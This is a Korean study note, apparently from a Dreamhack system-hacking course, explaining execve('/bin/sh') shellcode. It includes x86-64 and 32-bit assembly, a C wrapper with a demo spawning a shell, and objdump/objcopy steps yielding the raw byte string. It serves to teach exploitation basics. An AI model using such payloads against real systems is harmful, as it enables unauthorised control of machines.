드림핵 - 시스템 해킹
Shellcode - execve
김가윤
2023. 3. 23. 19:18
1. execve 셸코드
셸(Shell, 껍질)이란
운영체제에
명령을 내리기 위해 사용되는 인터페이스이다.
셸을 획득하면
시스템을 제어할 수 있게 되므로
통상적으로 셸 획득을
시스템 해킹의 성공으로 여긴다.
execve 셸코드는
임의의 프로그램을 실행하는 셸코드인데,
이를 이용하면
서버의 셸을 획득할 수 있고
다른 언급없이 셸코드라고 하면
이를 의미하는 경우가 많다.
최신 리눅스는 대부분
sh, bash를 기본 셸 프로그램으로 탑재
이 외에도
zsh, tsh 등의 셸을
유저가 설치해서 사용할 수 있다.
(1-1) execve("/bin/sh", null, null)
execve 시스템 콜만으로 구성된다.
syscall | rax | arg0 (rdi) | arg1 (rsi) | arg2 (rdx) |
execve | 0x3b | const char *filename | const char *const *argv | const char *const *envp |
argv는
실행파일에 넘겨줄 인자,
envp는
환경변수이다.
sh만 실행하면 되므로
다른 값들은 전부
null로 설정해줘도 된다.
;Name: execve.S
mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp ; rdi = "/bin/sh\x00"
xor rsi, rsi ; rsi = NULL
xor rdx, rdx ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve
syscall ; execve("/bin/sh", null, null)
(1-2) execve 셸코드 컴파일 및 실행
// File name: execve.c
// Compile Option: gcc -o execve execve.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"mov rax, 0x68732f6e69622f\n"
"push rax\n"
"mov rdi, rsp # rdi = '/bin/sh'\n"
"xor rsi, rsi # rsi = NULL\n"
"xor rdx, rdx # rdx = NULL\n"
"mov rax, 0x3b # rax = sys_execve\n"
"syscall # execve('/bin/sh', null, null)\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
bash$ gcc -o execve execve.c -masm=intel
bash$ ./execve
sh$ id
uid=1000(dreamhack) gid=1000(dreamhack) groups=1000(dreamhack)
(2) objdump 를 이용한 shellcode 추출
shellcode를
byte code(opcode)의 형태로
추출하는 방법
Figure 1. 어셈블리 코드 - shellcode.asm
; File name: shellcode.asm
section .text
global _start
_start:
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
xor ecx, ecx
xor edx, edx
mov al, 0xb
int 0x80
step1 - shellcode.o
$ sudo apt-get install nasm
$ nasm -f elf shellcode.asm
$ objdump -d shellcode.o
shellcode.o: file format elf32-i386
Disassembly of section .text:
00000000 <_start>:
0: 31 c0 xor %eax,%eax
2: 50 push %eax
3: 68 2f 2f 73 68 push $0x68732f2f
8: 68 2f 62 69 6e push $0x6e69622f
d: 89 e3 mov %esp,%ebx
f: 31 c9 xor %ecx,%ecx
11: 31 d2 xor %edx,%edx
13: b0 0b mov $0xb,%al
15: cd 80 int $0x80
$
step2 - shellcode.bin
$ objcopy --dump-section .text=shellcode.bin shellcode.o
$ xxd shellcode.bin
00000000: 31c0 5068 2f2f 7368 682f 6269 6e89 e331 1.Ph//shh/bin..1
00000010: c931 d2b0 0bcd 80 .1.....
$
execve /bin/sh shellcode:
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"